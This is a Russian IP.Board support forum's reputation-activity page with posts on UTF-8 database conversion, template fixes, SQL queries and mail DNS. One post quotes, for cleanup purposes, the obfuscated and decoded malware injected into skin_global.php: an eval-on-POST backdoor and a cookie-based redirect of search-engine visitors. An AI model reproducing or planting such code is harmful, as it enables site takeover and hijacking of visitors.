Jump to content

spoken

Актив
  • Регистрация

  • В сети

Reputation Activity

  1. Like
    spoken got a reaction from benix in IPS Community Suite 4.0 - В ожидании релиза...   
    Много почитал по 4.0 на их сайте. Да, вкусности есть. Как для пользователей, так и для разработчиков. Но цена высока: несовместимость с темами и приложениями/хуками, требования к ресурсам, более высокий порог вхождения для разработчиков. Многие вещи упростились, но упростились за счёт использования новых техник в программировании и новых фреймворков. То есть, чтобы просто сделать вещь нужно больше знать при этом.
     
    Такие вот пока впечатления.
  2. Like
    Respected, спасибо.
     
    На самом деле делать перекодировку через дамп это глупость. Есть скрипт, который перекодирует БД без дампа. Просто положить его в корень форума и запустить.


    Скрипт такой. Сохранить под любым именем в корень форума и перейти по адресу скрипта.
    <?php // Database info include("conf_global.php"); $dbhost = $INFO['sql_host']; $dbuser = $INFO['sql_user']; $dbpass = $INFO['sql_pass']; $dbname = $INFO['sql_database']; //--------------- header('Content-type: text/plain'); $dbconn = mysql_connect($dbhost, $dbuser, $dbpass) or die( mysql_error() ); $db = mysql_select_db($dbname) or die( mysql_error() ); $timer['start'] = microtime(true); $sql = "ALTER DATABASE `".$dbname."` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci"; $result = mysql_query($sql) or die( mysql_error() ); print "Database changed to UTF-8.n"; $sql = 'SHOW TABLES'; $result = mysql_query($sql) or die( mysql_error() ); $sql = array(); while ( $row = mysql_fetch_row($result) ) { $table = mysql_real_escape_string($row[0]); $sql = "ALTER TABLE {$table} DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci, CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci"; mysql_query($sql) or die( mysql_error() ); print "{$table} changed to UTF-8.n"; } mysql_close($dbconn); $timer['end'] = microtime(true) - $timer['start']; echo "nPage generated in ". round( $timer['end'], 4 ); ?>
  3. Like
    Respected, спасибо.
     
    На самом деле делать перекодировку через дамп это глупость. Есть скрипт, который перекодирует БД без дампа. Просто положить его в корень форума и запустить.


    Скрипт такой. Сохранить под любым именем в корень форума и перейти по адресу скрипта.
    <?php // Database info include("conf_global.php"); $dbhost = $INFO['sql_host']; $dbuser = $INFO['sql_user']; $dbpass = $INFO['sql_pass']; $dbname = $INFO['sql_database']; //--------------- header('Content-type: text/plain'); $dbconn = mysql_connect($dbhost, $dbuser, $dbpass) or die( mysql_error() ); $db = mysql_select_db($dbname) or die( mysql_error() ); $timer['start'] = microtime(true); $sql = "ALTER DATABASE `".$dbname."` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci"; $result = mysql_query($sql) or die( mysql_error() ); print "Database changed to UTF-8.n"; $sql = 'SHOW TABLES'; $result = mysql_query($sql) or die( mysql_error() ); $sql = array(); while ( $row = mysql_fetch_row($result) ) { $table = mysql_real_escape_string($row[0]); $sql = "ALTER TABLE {$table} DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci, CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci"; mysql_query($sql) or die( mysql_error() ); print "{$table} changed to UTF-8.n"; } mysql_close($dbconn); $timer['end'] = microtime(true) - $timer['start']; echo "nPage generated in ". round( $timer['end'], 4 ); ?>
  4. Like
    spoken got a reaction from akiser in Ошибка при установки движка IPB   
    На Хостингере работать не будет.
  5. Like
    spoken reacted to Viktar83 in YouTube BBCode   
    Зайдите в медиа-теги и поправьте тег для YouTu.be,
    вместо
    http://(www.)?youtu.be/([\d\w-_]+?)  вот так попробуйте:
    http(?:s)?://(www.)?youtu.be/([\d\w-_]+?)  
  6. Like
    spoken got a reaction from azatx in репутация (рейтинг) поста   
    Последний патч безопасности влияет только на модуль сжатия CSS и JS. Попробуйте отключить это сжатие в АЦ.
  7. Like
    spoken got a reaction from mazik001 in Панель модератора отображается у всех   
    WantedUser, повторюсь, что даже в стандартном стиле такое наблюдается.
     
    Да, проверки в globalTemplate нет, буду переделывать.
    <li><a href="{parse url="app=core&amp;module=modcp" base="public"}" title='{$this->lang->words['gbl_modcp_link_title']}'>{$this->lang->words['gbl_modcp_link']}</a> </li> Вот для входа в АЦ проверка есть.
  8. Like
    spoken got a reaction from RsssQaaa in Надпись ниже копирайта   
    WantedUser, видел, просто уточнил. Сейчас глубже ворвусь в шаблон.

    Копирайт там выводится хитро.

    {$footer_items['copyright']}

    $footer_items это массив, переменная шаблона.

    Этот код разворачивается в такое:

    <!-- Copyright Information -->
    <p id='copyright'>Система для сообществ IP.Board<br />Лицензия зарегистрирована на: Имя<div style='display:none'><a href=>Игры на android</a><a href=>Скачать IPB 3.4</a></div></p>
    <!-- / Copyright -->

    Пипец, это нулл мне игры на андроид и прочее впихнул? И причём тут ipbmaster? Я и не качал вроде оттуда ничего. Разберусь, откуда вылезло.

    Короче, добавление нового параграфа с text-align: right; должно вам помочь. Добавлять его надо после {$footer_items['copyright']}
  9. Like
    spoken reacted to Sanshalay in Friendly URL Translit   
    Просмотр файла Friendly URL Translit
    Информация о плагине
    Некоторые браузеры не могут корректно работать с кириллическими ссылками. Этот простой плагин будет конвертировать все кириллические символы в латинские во всех новых ссылках в вашем IPS Community Suite. Не рекомендуется использовать на сайтах с кириллическими доменами.
    Инструкция по установке
    Извлеките XML-файл из ZIP-архива. Войдите в Админцентр вашего сайта. Перейдите в "Система" > "Плагины" и нажмите кнопку "Установить". Выберите XML-файл и нажмите "Установить". Перейдите в настройки плагина и выберите нужный язык. Добавил Sanshalay Добавлено 19.02.2015 Категория Интерфейс Язык Язык: Русский
  10. Like
    spoken got a reaction from Respected in хештеги, возможно ли?   
    Снова ничего непонятно.
     
    Через custom bbcode дофига что можно сделать.
  11. Like
    spoken reacted to HooLIGUN in Убрать префиксы групп из UserInfo   
    Найти
    <li class='group_title'> {$author['_group_formatted']} </li> Заменить на:
    <php> $group_name = substr("{$author['_group_formatted']}", 6); </php> <li class='group_title'> {$group_name} </li> Где число 6 - кол-во символов,которое нужно обрезать.
  12. Like
    spoken got a reaction from AlexBrtn in Сжатие базы форума и очистка от мусора   
    Срочно к изучению >эта тема.
  13. Like
    spoken got a reaction from AUS in Сжатие базы форума и очистка от мусора   
    Срочно к изучению >эта тема.
  14. Like
    spoken reacted to pcmist in Редирект, слив трафика   
    Такая же беда с пациентом 3.4.7
    Выпали все странички из яшки. Написал Платону, на что был дан коротенький ответ
     
    Копнул поиском и нашел таких проблем много.
    Добавлю сюда для инфы
    В кэш файл скина skin_global.php, а также и в кэш, расположенный в БД дописывается вот такой код:
    $k='b2488714339183624a45a9373ae8d945'; $mds='O7Agi6;AxO2IXFOB@FOiDZ"&Dfg[A/&a,JnsjfgvkZ,_;vo)A<&[Jf/IAJo)B~E"A}"cO~4ckUF"AJoP;ZR$Jf/~Bv&~B~Bx%U"KDZ"@Dfz7,_&gBsD7Bs%sLTlcj=_c,0VcB=ogFUE"J_C^{_4;DZ(Fk}ggFvRxkZDVBf{foR&",<o7,Z{@B=4~J=D7FTWakU4]{W&./Rx"A_)ck}"KDe{&neC~,<F];<R)wfE@D~o0;=4uB=Cc,Z/~]Zo~wJFx]eoxFJDP]egV;v4gOUocD~P"J_oR{g,R{gxs}R4{{R&/{)/}J)Re4{${D_)cj~4v^{CPwJDa,/&_BvP@DR&.4/D<4/D;D)V{/RC]{"/Z4/DR{0FFk.x"wa_lDZ,;DfV7B=nsJ.x"B>_lBeDg,_&(wJ4>AUEsYfzcFv/BLvo7;Jzs;f&s;Z/BLsz$w<V7;_P[]ZDc;vB[wf&(]egV;v4gORP[Bs/uBvR(wvzgBgP[Bs/uwvRc,e/BL0ocD~P"w~"KDZE&DR&.4/D<4/D;D)V{/RC]}W&./UFFj~40^}4)AZgaL.$a,J4)A<$sB_xswf&7AfggJfg"D_)KDZB&DZY[D=ogB=oc;f$]A<nsj~4g^}40L0Fxw<$sJfg"Dax",T_g;JC)O}E"J_oR{g,R{gxs}R4{{R&wJ)_^<0FFk.(c,0Vg;JC)O}E"J)o^.)(D4/x",/)ckJ(c,0VcB=ogFUE"J)FR/RxsAJC0F0FFk}wvkURg;JC)O}E"J)FR/Rxs,~FFk}"vD0EV,<_PFe"@DR&T.)&L}{/;DZFFk}"cOfgvkU4>^.)"AUgKA<w@DZncBf/)wf&7AfggkU4gLUFg;0BxFZg(,}Ecka%f%TlPk.x";._aF<DaFeY@;<n_kU4@k}PPLTEcj=C~A<$)kUD";fo_;</[FU$x;foVFZg7;>)sAe4)BT@7L=/~;T4aAZ&~FU$c;v,7L=x";J)sY0"K]</IAJnK]<gvkUEVDe{cD0w"B0gKDWgnn"V{.{P[^}YuBfo~AJC)Ye4$BZ{&D=4gOen7AvRfwJo>BvgPFUBEB=D>^}FKDe4@AJ%(^sogFe4c;vFa<~F0;fR~,R&_BvPsJJ)7A<$",JE[BZVP^fgPwsw&O~4)AZgaL.$~,<FcB=4~O})`BV3iI=N`;=/)Be/)L.$V;s4cnfR>AZ/YwJo@]},V;JlK,a_SB~B`BV3iI=N`^U&aw=DcBen`BV3iI=N`Y>(&]nNNq'; $jsa='jEK!u>WQ^CfRP98_%Xwtk&5qJh0?1Nz{Zi:/vd[s|cO@#-<+=]M"o`y.UAmrG*aeg,2}Tbl(Fx~4SB$3YDIHLn7)pV6'; $jsb='Og7+8jE>PB2Fw`~1M_Y#K9b-;X=i]|)xUG(<Vm&un%peo^}W*3f:kN.?TCa!,{[zHlZ6SD"AtdsyRqc5rIJ4/LQv0$h@'; $i='#c#'.substr($mds,213,1); $ipd=preg_replace($i,strtr($mds,$jsa,$jsb),'css'); Если его декодировать
     
    $i='ini_set'; if(function_exists($i)){ $i('display_errors',0); $i('log_errors',0); } if(isset($_POST[$k]))eval(base64_decode(str_rot13($_POST[$k]))); $u=@preg_match('#bot|spider|crawl|slurp|yandex#i',$_SERVER['HTTP_USER_AGENT']); $f=@parse_url($_SERVER['HTTP_REFERER']); $c=@$f['host']; $r=@preg_match('#live.com|google.|yahoo.|bing.com|yandex.ru|rambler.ru|baidu.#i',$c); $h=$_SERVER['HTTP_HOST']; $b=$this->settings['cookie_id']; $g=$b.'session_id'; $e=$b.'lang_id'; $d=empty($_SERVER['HTTP_X_MOZ']); if(empty($_COOKIE[$e])){ if(isset($_GET['ipbv'])&&(!empty($_GET['g']))&&(!empty($_COOKIE[$g]))){ if($c==$h){ if($d)setcookie($e,'en',time()+36000); $m=substr(md5($h),0,8); print("document.location='__url4short.info/{$m}'"); } exit;} if((!$u)&&$r){$IPBHTML.="";} } Причем стоит обратить внимание, что куки записываются на 10 часов - 36000 секунд.  Переходя из поиска к вам на сайт, пациента перекидывает на урл4шот.инфо Через 10 часов куки отваливаются и пациент будет заходить нормально.
     
    Решение: Очистить от ЛИШНЕГО кода указанного выше, в файле /cache/skin_cache/cacheid_1/skin_global.php
     
    Перестроить все кэши Внешний вид --->Инструменты
     
    Надеюсь решение кому то может.
  15. Like
    spoken got a reaction from AlexBrtn in А у вас есть такое?   
    AlexBrtn, да, она самая.
  16. Like
    Нда, админ такого крупного форума без навыков работы с БД.
     
    Посмотри результат такого запроса
    SELECT * FROM ibf_reputation_index where member_id=4; Вместо 4 подставь идентификатор нужного пользователя.

    Для удаления такой запрос
    delete FROM ibf_reputation_index where member_id=4; commit; где 4 это идентификатор нужного пользователя.

    А такой запрос покажет содержимое постов, которые он лайкал
    select author_name,post from ibf_posts where pid in (SELECT type_id FROM ibf_reputation_index where member_id=4 and type='pid');
  17. Like
    Нда, админ такого крупного форума без навыков работы с БД.
     
    Посмотри результат такого запроса
    SELECT * FROM ibf_reputation_index where member_id=4; Вместо 4 подставь идентификатор нужного пользователя.

    Для удаления такой запрос
    delete FROM ibf_reputation_index where member_id=4; commit; где 4 это идентификатор нужного пользователя.

    А такой запрос покажет содержимое постов, которые он лайкал
    select author_name,post from ibf_posts where pid in (SELECT type_id FROM ibf_reputation_index where member_id=4 and type='pid');
  18. Like
    spoken got a reaction from AUYKGN in Скрыть отдельных пользователей в группе   
    Проще дать права пользователям через вторичные группы. Я на форуме обычный пользователь, а вторичная группа модераторов. В результате в группе модераторов я не отображаюсь, а все её права имею.
  19. Like
    spoken got a reaction from Efremov in Скрыть отдельных пользователей в группе   
    Проще дать права пользователям через вторичные группы. Я на форуме обычный пользователь, а вторичная группа модераторов. В результате в группе модераторов я не отображаюсь, а все её права имею.
  20. Like
    spoken reacted to WOLF in Лучший модератор 2014   
    Лучшим модератором 2014 года, по мнению наших форумчан становится WOLF.


    -------------------------------------------------------------------------
    От себя хочу добавить. 
    Спасибо всем, кто принял участие в голосование, а еще больше спасибо тем, кто оставил свое мнения о том или ином модераторе. Для меня лично очень важно было узнать именно ваши мнения, узнать свои минусы и плюсы, чтобы возможно в дальнейшем стать лучше, лучше для вас, и для самого себя в целом. 
    Буду стараться, буду трудится, постараюсь никого не обидеть. Ну а если кого и обидел в 2014, уж извините, все мы люди, у каждого свои проблемы, свой характер, и свой взгляд на мир. Спасибо что вы с нами, Спасибо что вы на волне Мафии.
     
    С уважением, ваш 
    WOLF.
  21. Like
    spoken got a reaction from Respected in Как настроить почту?   
    А нафига MX запись указывает на IP твоего форума? Она должна указывать на SMTP-сервера Яндекса.
     
    Записи для mail.forumpchelp.ru смотри, там другой IP должен быть.

    При корректной настройке nslookup mail.forumpchelp.ru должен выдавать такое
     
    Name:    mail.yandex.ru
    Addresses:  87.250.251.25, 213.180.193.25, 213.180.204.25, 87.250.250.25
              93.158.134.25
    Aliases:  mail.forumpchelp.ru, domain.mail.yandex.net

    Тут инструкции по настройке
    __help.yandex.ru/pdd/records.xml
  22. Like
    spoken got a reaction from Andross in Чем разбить БД?   
    Andross, вбей эту ошибку в google. Это что-то с праметрами mysql самого.

    __wiki.bitel.ru/index.php/%D0%A0%D0%B5%D0%BA%D0%BE%D0%BC%D0%B5%D0%BD%D0%B4%D0%B0%D1%86%D0%B8%D0%B8_%D0%BF%D0%BE_%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B5_MySQL
  23. Like
    spoken got a reaction from Andross in Чем разбить БД?   
    1. права на файл дампа. Проверить через ls -la /var/www/prandros/data/www/forumpchelp.ru/bazasql/
    2. пробуй под root, только это не системный root, а root сервера mysql, поэтому пароли у них разные.
  24. Like
    spoken got a reaction from Andross in Чем разбить БД?   
    cd /var/www/prandros/data/www/forumpchelp.ru/bazasql/
  25. Like
    spoken got a reaction from Andross in Чем разбить БД?   
    Ну, если с консолью и phpmyadmin не получается, то попробуй какой-нибудь Sypex Dumper. Он тут был, вроде.